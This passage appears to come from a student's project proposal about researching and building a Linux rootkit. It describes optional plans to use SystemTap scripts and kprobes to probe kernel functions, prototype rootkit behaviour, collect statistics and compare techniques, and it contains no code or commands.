This isn’t critical to the baseline of my project and is simply a few ideas of other items I could possibly add to the project if I have enough time.

  • Technical Issues:

If I don’t implement these items as a LKM I’d like to possibly look into them in Systemtap.

  • Dependencies:

I complete the main project specified and have the time to research other areas of interest.

Section 4:                                System Tap

SystemTap Scripts

 

4.1 Rootkit Functionality.

Ideally I’d like to investigate the various functional components of the rootkit through various Systemtap scripts. The simple format of the scripting language provides flexibility in probing different areas of the Operating system. I will most definitely use it to investigate many of the areas affected by the rootkit. I will also more than likely implement most if not all of the functionality of the rootkit in Systemtap scripts. It allows me to break down what is happening inside the OS into nice smaller snippets of code. It would also allow the deep probing of system calls and would result in me collecting very useful information and system data.

I feel having a collection of systemtap scripts that carry out the same functionality as the rootkit, would greatly increase the research potential. I could view various elements of the OS in real time as the script affects them. I could also simply edit the scripts and play around with the values and functions easier than writing the equivalent functions in C code. I am hoping the investigation of each proposed rootkit function with systemtap will greatly help my understanding of the functional operations at hand and will greatly ease the development of said functions, once I move onto developing the loadable kernel module.

4.2 Deeper Inspection of functions.

Systemtap has a set of prebuilt library functions called tap sets. These will provide very helpful probing examples and are a useful resource in regards to developing interesting scripts. Systemtap takes advantage of kprobes, this allows the setting of breakpoints at almost any point within the kernel source code.

Using the framework we can also return any variable data from any kernel function or system call into our systemtap scripts. This means we can investigate real time data exchanging within the various OS components. kprobes use a software design pattern similar to the observer pattern; each probe has a corresponding handler. The probe event handlers run as an extension of the system breakpoint interrupt handler system. This means they have almost no dependence on system facilities, ensuring they don’t skew the operating systems performance enough to affect our collected data.

Systemtap provides very useful lookup or search functionality. You can define a kernel function name or system call with a regular expression type pattern and it will return the name of any kernel functions with that name or system calls with a matching pattern. It also returns the variables these functions accept. This will prove immensely useful when looking into new areas I am unfamiliar with inside the operating system.

4.3 Statistical Data.

Systemtap has interesting statistic building functionality allowing the use of aggregate data. It has many useful mathematical functions built in and a simple format for generating histogram charts. This could prove useful for collecting time or load based statistics. I would like to take advantage of this and hopefully incorporate this functionality into some of my systemtap scripts. Viewing a simple graph is a lot nicer than reading the raw data.

Throughout my research and investigation into rootkit development, I hope to generate various different forms of statistical data charts. This will give me a base level of data from which I can launch useful analysis and diagnostic tests from, hopefully improving the quality of the various functional components of the software, or at the very least improve my own understanding while justifying my design choices.

4.4 Experimentation of ideas

Using the systemtap scripts I can experiment and try different approaches to problems during runtime. I should also be able to draw some useful conclusions about what works and what doesn’t before I go ahead and try implement these functions in my kernel module. I am expecting to learn a great deal about how a rootkit leverages elements of the Linux operating system and uses the operating systems design against itself.

There are many techniques available online of how to implement various elements of a rootkit. I would like to try a variety of these techniques and possibly compare them using systemtap scripts. I would also be interesting to see if I could contribute something new or anything at all useful, to the area of rootkits. Systemtap should give me additional flexibility in testing ideas. This may of course be very ambitious but I’d like to gain a deep understanding of the processes at play, so aiming high is a good idea in my opinion.

Time is the biggest concern with regards to experimenting with additional functionality but I thought I’d include this section as a possibility for my project. Especially if I find I’ve completed the basic functional components before the deadline.